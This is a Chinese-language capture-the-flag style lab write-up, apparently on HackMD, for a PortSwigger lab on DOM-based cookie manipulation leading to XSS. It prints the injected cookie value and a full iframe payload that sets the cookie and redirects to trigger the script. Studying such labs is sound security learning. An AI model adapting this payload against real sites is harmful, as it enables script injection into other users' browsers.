# DOM-based Lab5 這題是基於 DOM 的用戶端 Cookie 操作,目標是注入一個 Cookie,該 Cookie 將導致 XSS 出現在其他頁面上,然後調用該函數。 所以一樣先進入網站。  主頁我看過一遍都是一些文字跟圖片連結,沒有特別的東西,所以我查看每一篇文章的內容,結果在原始碼發現下列線索: ```html <script> document.cookie = 'lastViewedProduct=' + window.location + '; SameSite=None; Secure' </script> ``` 首頁會讀取這個 `lastViewedProduct cookie`,然後把它塞進 HTML 當中,而沒有做任何過濾或 escape。 想像這個 cookie 被設成: ```html lastViewedProduct=/product?productId=1&'><script>print()</script> ``` 那首頁如果直接這樣做: ```html document.getElementById("recent").innerHTML = '<a href="' + decodeURIComponent(document.cookie.match(/lastViewedProduct=([^;]+)/)[1]) + '">Last viewed</a>'; ``` 就會變成: ```html <a href="/product?productId=1&'><script>print()</script>">Last viewed</a> ``` 這樣整個 `<script>print()</script>` 就會直接執行。 所以我們在 iframe 中載入這段惡意的網址(實際要記得轉 URL 編碼,不然會被截斷): ```html <iframe src="https://YOUR-LAB-ID.web-security-academy.net/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://YOUR-LAB-ID.web-security-academy.net';window.x=1;"> ``` `src="..."` 這是 `<iframe>` 的初始載入網址: ``` https://YOUR-LAB-ID.web-security-academy.net/product?productId=1&'><script>print()</script> ``` 這個網址: - 會被瀏覽器訪問(在 iframe 中) - 最終被存入 cookie lastViewedProduct(因為 product 頁面有 document.cookie = ... 的 JS) 這個 cookie 的值就會是: ```html /product?productId=1&'><script>print()</script> ``` `onload="if(!window.x)...`: 這段 JavaScript 是為了讓 iframe 第一次載入 product 頁面時儲存 cookie,然後自動跳轉到首頁觸發 XSS: ``` if (!window.x) this.src = 'https://YOUR-LAB-ID.web-security-academy.net'; window.x = 1; ``` 意義: | 條件 | 結果 | | -------- | -------- | | window.x 不存在 | 表示是第一次觸發 → 換 src 導向首頁 | | window.x = 1 | 記錄:我已經導向過首頁了,避免無限迴圈 |  :::success ### 簡單來說 這是你家冰箱的便利貼。 你媽每天都會在冰箱上貼一張紙條:「你上次吃的零食是什麼?」 這張紙條就像網站裡的 cookie,會記錄你上次點了哪個商品。 然後有一天,你家的鄰居偷偷貼了一張紙條說: > 你上次吃的是 `<script>print()</script>` 🍪 結果你媽回來一看,看到 `<script>print()</script>`,她不懂那是什麼,就照著「念出來」。 結果冰箱「蹦!」跳出印表機畫面,因為你媽被這行詭異的語法騙去執行它。 ::: ---
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up